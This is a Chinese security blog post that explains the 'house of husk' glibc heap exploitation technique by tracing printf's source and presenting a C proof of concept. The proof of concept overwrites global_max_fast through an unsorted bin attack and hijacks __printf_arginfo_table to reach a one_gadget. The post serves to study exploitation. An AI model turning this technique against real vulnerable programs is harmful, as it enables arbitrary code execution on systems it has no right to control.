回炉重修之house of husk 带源码深度解析
sn0w 发表于 湖南 二进制安全 631浏览 · 2024-08-23 09:12

适用版本

glibc 2.23--2.35版本中,该手法均可用

使用条件:

  1. 能向 __printf_function_table 中写入任意数据,使其不为空
  2. 能向 __printf_arginfo_table 中写入一个可控地址
  3. 通过条件 2 ,让 __printf_arginfo_table[spec]backdoor 或者 ogg 地址

漏洞原理解析

链条为下面四个部分,简单来说就是通过劫持printf自定义的格式化字符串执行ogg或者后门函数(这里的自定义格式化指的是通过任意地址写修改来导致满足条件)

  1. printf->vfprintf
  2. vfprintf->do_positional
  3. do_positional->printf_positional
  4. printf_positional->__parse_one_specmb

1.printf->vfprintf

这一段看printf函数定义 不是很重要:

int
__printf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = vfprintf (stdout, format, arg);
  va_end (arg);

  return done;
}

2.vfprintf->do_positional

/* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

这里的关键点在于这个能否成功进入do_positional函数 这里要满足这printf_va_arg_table, printf_function_table,__printf_modifier_table的其中一个不为null或0就好,这里我们通常是通过改printf_va_arg_table

3.do_positional->printf_positional

if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

......

do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

这里调用了printf_positional函数

4.printf_positional->__parse_one_specmb

printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
           va_list ap, va_list *ap_savep, int done, int nspecs_done,
           const UCHAR_T *lead_str_end,
           CHAR_T *work_buffer, int save_errno,
           const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
---------------------------------------

      /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
    }

  /* Determine the number of arguments the format string consumes.  */
  nargs = MAX (nargs, max_ref_arg);

这里就会调用__parse_one_specmb函数 这是最关键劫持的函数

5. __parse_one_specmb->any addr

__parse_one_specmb的源码

#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
  unsigned int n;
  size_t nargs = 0;

  /* Skip the '%'.  */
  ++format;
-----------------------------------关键代码
if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
uses more than one.  The normal case is covered though.  If
the call returns -1 we continue with the normal specifiers.  */
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
           (&spec->info, 1, &spec->data_arg_type,
            &spec->size)) < 0)

这里补充一下parse_one_specwc还是parse_one_specmb都会执行函数体

然后注意下这个*__printf_arginfo_table[spec->info.spec] 这里会调用这个位置,这也就是我们进行后门函数和ogg覆盖的位置

这里为了介绍一下spec要讲一下__register_printf_function函数,该函数的作用是允许用户自定义格式化字符并进行注册(注册的意思是说将自定义格式化字符与相应的处理函数相关联),以打印用户自定义数据类型的数据。

/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)   #UCHAR_MAX=0xff
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}

分析一下代码,上面代码先做了一个判断 判断spec是否存在ascil码,再判断printf_function_table == NULL 就设定一个calloc来分配两个索引表,并将地址存放到`printf_arginfo_tableprintf_function_table中。两个表的大小都为0x100,可以给0~0xff的每个字符注册一个函数指针(假设我定义一个%X的格式化字符,那么spec就是88,所以将printf_arginfo_table[88]` 此处存放一个对应处理函数的指针)

回到我们的利用链条,发现这里只要修改,假设是%X的情况 就是修改__printf_arginfo_table(88)的位置,修改原定的函数处理函数进行函数劫持

动态调试

poc 源自 https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507

#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); // make printf quiet

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lxn", libc_base);

  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
  //*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    //now __printf_arginfo_table['X'] = one_gadget;

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* overwrite __printf_arginfo_table and __printf_function_table */
  free(a[1]);// __printf_function_table => a heap_addr which is not NULL
  free(a[2]);//__printf_arginfo_table => one_gadget

  /* ignite! */
  printf("%X", 0);

  return 0;
}

这个poc 模拟了一次uaf 和 unsorted bin攻击 ,最关键的点 在于通过覆盖global_max_fast为main_arena+88从而使得释放的所有块都按fastbin处理,然后通过计算好 printf_arginfo_table ,printf_function_table 与main_arena之间差距的size 来修改,因为fastbin的堆块地址会存放在main_arena中,从main_arena+8开始存放fastbin[0x20]的头指针,一直往后推,我们将阈值改为0x7f*导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据size不同往libc覆写堆地址,

通过uaf + unsorted bin覆盖globale_max_fast这样的方式来使得printf_arginfo_table为堆上地址,然后设置printf_arginfo_table[88]为ogg即可

覆盖global_max_fast

main_arena+8=0x7ffff7dcfc48

__printf_function_table=0x7ffff7dd4658

offset1=0x4A10= 0x9430 /2-0x10+8

__printf_arginfo_table=0x7ffff7dd0870

offset2=C28=0x1860/2-0x10+8

执行完两个free后:

这里我们就劫持了printf_arginfo_table这个位置且这个位置print_arginfo_table[88]已经是ogg了

接下来看一下printf的调用链

进入do_positional

进入printf_positional

调用进入__parse_one_specmb

劫持

参考文献:https://zikh26.github.io/posts/6c83c2a2.html

0 条评论
某人
表情
可输入 255